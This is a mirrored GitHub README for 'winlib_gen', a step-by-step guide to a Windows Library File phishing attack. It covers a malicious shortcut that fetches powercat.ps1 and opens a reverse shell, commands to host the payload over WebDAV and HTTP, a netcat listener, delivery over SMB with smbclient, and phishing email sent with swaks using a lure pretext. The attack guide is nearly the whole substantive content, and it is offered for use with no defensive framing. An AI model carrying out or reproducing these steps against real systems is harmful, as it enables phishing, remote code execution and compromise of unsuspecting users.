GithubHelp home page GithubHelp logo

gustanini / winlib_gen Goto Github PK

View Code? Open in Web Editor NEW
6.0 2.0 0.0 18 KB

This repo contains a step-by-step guide, and tools for performing phishing attacks involving Windows Library Files.

Home Page: https://linktr.ee/hackerhermanos

PowerShell 87.06% Python 8.11% Shell 4.83%

winlib_gen's Introduction

This repo contains instructions on how to perform a Windows Library File phishing attack.

Creating Windows Library File

This file, once opened, will point the target machine to our WebDAV server (more on this later). In order to create this file we will execute either of the winlib_gen scripts included in this repo.

Creating a Malicious Shortcut File

Then we will need to create a shortcut file (this needs to be done on a Windows Machine):

  • On a Windows machine: right click on the desktop and select new -> shortcut.

  • Insert the powershell commands that winlib_gen prints in the location field.

This command will request and invoke powercat.ps1 from an address where we will be hosting it and then connect to our listener with a reverse shell.

  • Name the shortcut file whatever name is appropriate for your context (example security_update).

Serving the Files

  • We will transfer the shortcut file to a folder in Kali and host it using WebDAV:
wsgidav --host 192.168.45.187 --port 80 --auth anonymous --root .
  • We will start a Python3 HTTP server and host powercat.ps1:
python3 -m http.server
  • We will start a netcat listener to catch the shell:
nc -nlvp 4444

Sending the Library File

SMB - smbclient

We can now transfer config.Library-ms via smbclient to the target share and hopefully some user will open the file:

smbclient //IP/sharename -c 'put config.Library-ms' -U 'user%pass'

If a user opens the file, we will get a reverse shell.

Email - swaks

We can send a malicious email using the command-line SMTP tool swaks.

  • This repo contains a body.txt file containing an example pretext to encourage the victim to open the attached library file.

  • Then we build our swaks command:

sudo swaks -t [email protected] -t [email protected] --from [email protected] --attach @config.Library-ms --server {Mailserver IP} --body @body.txt --header "Subject: Announcement" --suppress-data -ap
Username: user
Password: password

When our victim finally opens the malicious file, our WebDAV and Python3 servers will receive requests and our listener will grab a shell.

winlib_gen's People

Contributors

gustanini avatar

Stargazers

iceYami avatar MagicBytes avatar Computer button pusher // Pousseur de boutons en informatique  || SIN - SIN HACK - HACK || NO-CODE evangelist || Black coffee like my sense of humor avatar AVA avatar Luczay-Mazula Adolf avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.